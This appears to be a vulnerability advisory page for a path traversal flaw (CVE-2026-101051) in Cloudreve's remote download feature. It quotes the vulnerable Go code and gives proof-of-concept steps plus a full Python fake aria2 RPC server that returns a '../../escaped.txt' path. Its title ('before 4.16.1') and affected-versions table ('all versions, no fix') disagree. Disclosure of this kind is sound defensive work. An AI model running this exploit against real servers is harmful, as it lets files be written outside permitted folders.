CVE-2026-101051 — v4
CVE-2026-101051 is a Path Traversal vulnerability in github.com/cloudreve/Cloudreve/v4. No vendor fix is recorded yet; mitigation options are listed below.
Cloudreve before 4.16.1 Path Traversal via Remote Download
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-101051.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
github.com/cloudreve/Cloudreve/v4Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as ../../escaped.txt can cause a downloaded file to be created outside the user-selected destination directory.
Details
In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.
// pkg/filemanager/workflows/remote_download.go:436-438
sanitizedName := sanitizeFileName(file.Name)
dst := dstUri.JoinRaw(sanitizedName)
src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))
The same issue also exists when constructing slave upload payloads.
// pkg/filemanager/workflows/remote_download.go:323-327
dst := dstUri.JoinRaw(sanitizeFileName(f.Name))
src := path.Join(m.state.Status.SavePath, f.Name)
payload.Files = append(payload.Files, SlaveUploadEntity{
Src: src,
Uri: dst,
The sanitizer does not remove /, ., or .. path segments.
// pkg/filemanager/workflows/remote_download.go:648-650
func sanitizeFileName(name string) string {
r := strings.NewReplacer("\\", "_", ":", "_", "*", "_", "?", "_", "\"", "_", "<", "_", ">", "_", "|", "_")
return r.Replace(name)
}
JoinRaw() splits the raw string by / and joins the segments, allowing .. to affect the final URI path.
// pkg/filemanager/fs/uri.go:173-175
func (u *URI) JoinRaw(elem string) *URI {
return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}
For aria2, Cloudreve derives downloader.TaskFile.Name from the path returned by aria2.tellStatus().files[].path.
// pkg/downloader/aria2/aria2.go:148-159
relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)
if len(relPath) > 0 {
relPath = relPath[1:]
}
return downloader.TaskFile{
Index: index,
Name: relPath,
Therefore, if the selected destination is: cloudreve://my/victim/safe, the downloader reports ../../escaped.txt, the final upload destination becomes cloudreve://my/escaped.txt
The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.
PoC
The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.
Setup:
Cloudreve official Docker image
PostgreSQL
Redis
Fake aria2 JSON-RPC service
Configure the master node in the Cloudreve admin UI:
Remote download capability: enabled
Downloader provider: aria2
aria2 RPC server: http://fake-aria2:6800/jsonrpc
aria2 token: empty
Create this folder structure in the file manager:
My files /
victim /
safe /
Create a remote download task using any URL in the victim/safe directory, for example:
http://attacker.invalid/file
The fake aria2 service returns:
files[0].path = <saveDir>/../../escaped.txt
Expected result after the remote download task completes:
cloudreve://my/escaped.txt exists
This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.
Impact
If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.
This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.
Appendix: fake_aria2.py
import json
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
GID = "0123456789abcdef"
CONTENT = b"created outside the selected Cloudreve destination\n"
save_dir = "/cloudreve/data/temp/aria2/poc-final"
def write_source_file():
source = os.path.normpath(os.path.join(save_dir, "..", "..", "escaped.txt"))
os.makedirs(os.path.dirname(source), exist_ok=True)
with open(source, "wb") as f:
f.write(CONTENT)
print(f"fake aria2 source file: {source}", flush=True)
def response(rpc_id, result):
return json.dumps({"jsonrpc": "2.0", "id": rpc_id, "result": result}).encode()
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
global save_dir
raw = self.rfile.read(int(self.headers.get("Content-Length", "0")))
req = json.loads(raw or b"{}")
method = req.get("method")
rpc_id = req.get("id")
if method == "aria2.addUri":
for item in req.get("params", []):
if isinstance(item, dict) and item.get("dir"):
save_dir = item["dir"]
break
write_source_file()
result = GID
elif method == "aria2.tellStatus":
result = {
"gid": GID,
"status": "complete",
"totalLength": str(len(CONTENT)),
"completedLength": str(len(CONTENT)),
"uploadLength": "0",
"downloadSpeed": "0",
"uploadSpeed": "0",
"infoHash": "",
"numPieces": "1",
"dir": save_dir,
"files": [
{
"index": "1",
"path": f"{save_dir}/../../escaped.txt",
"length": str(len(CONTENT)),
"completedLength": str(len(CONTENT)),
"selected": "true",
"uris": [],
}
],
"bittorrent": {"mode": "single", "info": {"name": "poc-final"}},
}
elif method == "aria2.getVersion":
result = {"version": "fake-poc-final", "enabledFeatures": []}
else:
result = "OK"
body = response(rpc_id, result)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
return
if __name__ == "__main__":
print("fake aria2 JSON-RPC listening on :6800", flush=True)
HTTPServer(("0.0.0.0", 6800), Handler).serve_forever()
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/cloudreve/Cloudreve/v4 | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/cloudreve/Cloudreve/v4, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/cloudreve/Cloudreve/v4 has shipped for CVE-2026-101051 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-101051 in your dependencies?
Find it across Go, including transitive dependencies.